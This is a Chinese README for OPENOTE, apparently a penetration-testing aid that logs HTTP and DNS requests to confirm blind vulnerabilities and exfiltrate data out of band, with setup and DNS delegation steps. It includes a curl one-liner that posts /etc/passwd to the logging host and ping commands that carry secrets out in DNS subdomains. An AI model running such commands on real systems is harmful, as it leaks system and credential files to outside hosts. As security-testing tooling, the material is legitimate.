OPENOTE是一款渗透测试辅助工具,集成了一些渗透测试常用的功能,目前包括HTTP记录、DNS记录、文件托管、XSS平台
- HTTP Log:无回显的场景下通过记录HTTP请求确认漏洞
- DNS Log:无回显场景下通过DNS信道外带数据
- File Service:对标Paste Bin,但提供自定义Content-Type的接口,便于托管payload
- XSS平台:模块化配置XSS Payload,辅助XSS测试
目前开发了两个功能,HTTP Log和DNS Log,都是需求比较大的基础能力。未来会继续开发其他功能,请star并持续关注
在以下说明中,以域名example.com为例
支持基本登陆认证功能,保障数据安全
核心功能之一是HTTP Log,所有对平台的不存在的路由请求均会被记录下来
以下路由地址被平台保留,不会被记录
- /
- /http
- /http/<int>
- /http/down/<int>
- /dns
- /file
- /xss
- /login
- /logout
- /delete/dns
在home/data/black_list.py中可以配置黑名单,黑名单中的url同样不会被记录。默认添加了/favicon.ico和/robots.txt
点击每一条记录,可以看到完整的HTTP Header和HTTP Body数据
一个小技巧是可以用curl example.com/not_exsist -X POST -F "f=@/etc/passwd"来发送文件到平台。二进制数据也可以被直接Down下来,默认以二进制形式存储数据,因此在下载之后不需要其他操作即可拿到完整的二进制数据
此外该平台提供DNS Log功能。假设当前的域名为dns.example.com
本模块的功能主要是修改了vtest和dnslog两个项目的代码,并对Python3进行适配
ping secret_message.dns.example.com此时在平台上能够收到secret_message这一信息,解析结果默认为1.1.1.1
ping 123.123.123.123.dns.example.com当域名前是IP地址时,会将这个地址解析为输入的IP地址123.123.123.123
ping 111.111.111.111.222.222.222.222.dns.example.com此时会按顺序依次解析
111.111.111.111.222.222.222.222.dns.example.com ===> 111.111.111.111
111.111.111.111.222.222.222.222.dns.example.com ===> 222.222.222.222
111.111.111.111.222.222.222.222.dns.example.com ===> 111.111.111.111
111.111.111.111.222.222.222.222.dns.example.com ===> 222.222.222.222
...
注意
- 本应用使用Django开发,在安装时推荐使用虚拟环境,避免引起Python的依赖关系紊乱
- 本应用仅支持Python3(It's 9102 now.)
安装virtualenv并创建虚拟python环境,激活
pip3 install virtualenv
virtualenv openote_env
source openote_env/bin/activate激活后安装依赖库
pip3 install -r requirements.txt默认使用sqlite3作为数据库,便于携带。使用以下命令进行初始化
python3 manage.py migrate使用以下命令创建一个可以登陆的用户:
python3 manage.py createuser -u username -p如果忘记密码,可以在命令行中重置:
python3 manage.py reset -u username -ppython3 manage.py runserver 0.0.0.0:8000总共需要两个域名。例如我们拥有tom.com和jerry.com两个域名,最终想要的DNS服务器解析的域名是dns.jerry.com,我们控制的服务器IP为1.1.1.1
设置步骤:
- 在
tom.com中添加A记录,将ns1.tom.com指向1.1.1.1 - 在
jerry.com中添加NS记录,指定dns.jerry.com域名的NS服务器是ns1.tom.com
这样一来我们对*.dns.jerry.com的查询都会在dns.jerry.com处查询,而它指定了域名服务器ns1.tom.com,域名服务器的IP又是我们控制的服务器1.1.1.1。这样一来*.dns.jerry.com的查询都会走我们自己部署的DNS服务器,即可获取记录
设置完毕后,需要在openote/settings.py中设置以下内容:
ROOT_DOMAIN = "dns.jerry.com"
LOCAL_IP = "1.1.1.1"测试是否部署成功:
ping test.dns.jerry.com如果解析结果为1.1.1.1(默认解析结果都是1.1.1.1),且能够在log中看到解析记录,则说明部署成功
最终设置好之后,即可启动
python3 manage.py 0.0.0.0:8000Enjoy
- file service
- xss platform
如果有好的创意,或者发现bug,欢迎在issue中提交,也欢迎大家共同参与开发工作🍺